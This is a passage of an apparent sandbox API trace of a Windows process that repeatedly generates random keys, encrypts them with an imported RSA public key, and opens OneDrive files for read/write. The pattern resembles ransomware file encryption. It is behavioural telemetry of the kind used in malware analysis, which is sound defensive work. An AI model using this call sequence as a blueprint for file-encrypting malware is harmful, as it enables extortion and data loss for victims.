pdwDataLen=0x285cf9c*=0x4) returned 1 [0172.133] CryptEncrypt (in: hKey=0x636918, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x31d0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x31d0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0172.134] GetLastError () returned 0x0 [0172.134] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0172.134] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0172.137] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6368d8) returned 1 [0172.137] CryptGetKeyParam (in: hKey=0x6368d8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0172.137] CryptEncrypt (in: hKey=0x6368d8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x31e0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x31e0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0172.137] GetLastError () returned 0x0 [0172.137] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0172.137] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\AutoPlayOptIn.gif" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\autoplayoptin.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0172.137] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0172.138] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0172.139] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0172.139] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0172.139] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0172.139] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0172.140] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0172.140] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0172.140] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0172.140] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0172.140] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0172.143] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6369d8) returned 1 [0172.143] CryptGetKeyParam (in: hKey=0x6369d8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0172.143] CryptEncrypt (in: hKey=0x6369d8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x31f0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x31f0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0172.143] GetLastError () returned 0x0 [0172.143] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0172.143] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0172.146] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x636a18) returned 1 [0172.146] CryptGetKeyParam (in: hKey=0x636a18, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0172.146] CryptEncrypt (in: hKey=0x636a18, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3200000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x3200000*, pdwDataLen=0x285d120*=0x100) returned 1 [0172.146] GetLastError () returned 0x0 [0172.146] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0172.146] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\AutoPlayOptIn.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\autoplayoptin.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0172.146] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0172.146] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0172.146] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0172.146] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0172.146] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0172.146] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0172.146] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0172.147] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0172.147] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0172.147] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0172.147] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0172.147] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0172.147] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0172.147] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0172.147] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0172.147] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0172.147] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0172.147] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0172.147] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0172.147] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0172.147] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0172.147] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0172.147] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0172.147] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0172.147] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0172.148] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0172.148] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0172.148] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0172.148] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0172.148] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0172.148] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0172.148] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0172.148] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0172.148] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0172.148] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0172.148] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0172.148] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0172.148] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0172.148] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0172.148] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0172.148] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0172.148] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0172.148] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0172.149] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0172.149] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0172.149] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0172.149] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0172.149] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0172.149] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0172.149] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0172.149] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0172.149] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0172.149] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0172.150] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0172.150] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0172.150] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0172.150] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0172.150] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0172.151] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0172.152] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0172.152] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0172.152] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0172.152] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0172.154] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x636a58) returned 1 [0172.154] CryptGetKeyParam (in: hKey=0x636a58, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0172.154] CryptEncrypt (in: hKey=0x636a58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3210000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x3210000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0172.155] GetLastError () returned 0x0 [0172.155] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0172.155] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0172.157] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6181e8) returned 1 [0172.157] CryptGetKeyParam (in: hKey=0x6181e8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0172.157] CryptEncrypt (in: hKey=0x6181e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3220000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x3220000*, pdwDataLen=0x285d120*=0x100) returned 1 [0172.158] GetLastError () returned 0x0 [0172.158] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0172.158] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\ElevatedAppBlue.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\elevatedappblue.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0172.158] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0172.159] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0172.159] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0172.159] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0172.159] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0172.159] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0172.160] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0172.160] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0172.160] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0172.160] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0172.160] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0172.162] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x636a98) returned 1 [0172.162] CryptGetKeyParam (in: hKey=0x636a98, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0172.162] CryptEncrypt (in: hKey=0x636a98, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3230000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x3230000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0172.163] GetLastError () returned 0x0 [0172.163] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0172.163] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0172.165] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x617968) returned 1 [0172.165] CryptGetKeyParam (in: hKey=0x617968, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0172.165] CryptEncrypt (in: hKey=0x617968, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3240000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x3240000*, pdwDataLen=0x285d120*=0x100) returned 1 [0172.165] GetLastError () returned 0x0 [0172.165] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0172.165] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\ElevatedAppWhite.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\elevatedappwhite.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0172.166] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0172.166] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0172.166] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0172.166] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0172.166] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0172.166] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0172.166] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0172.166] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0172.166] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0172.167] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0172.167] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0172.168] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0172.168] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0172.168] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0172.168] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0172.169] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0172.169] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0172.169] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0172.169] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0172.172] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x658600) returned 1 [0172.172] CryptGetKeyParam (in: hKey=0x658600, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0172.172] CryptEncrypt (in: hKey=0x658600, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3250000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x3250000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0172.172] GetLastError () returned 0x0 [0172.172] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0172.172] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0172.174] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x658380) returned 1 [0172.174] CryptGetKeyParam (in: hKey=0x658380, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0172.175] CryptEncrypt (in: hKey=0x658380, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3260000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x3260000*, pdwDataLen=0x285d120*=0x100) returned 1 [0172.175] GetLastError () returned 0x0 [0172.175] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0172.175] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\Error.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\error.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0172.175] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0172.176] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0172.176] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0172.177] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0172.177] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0172.177] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 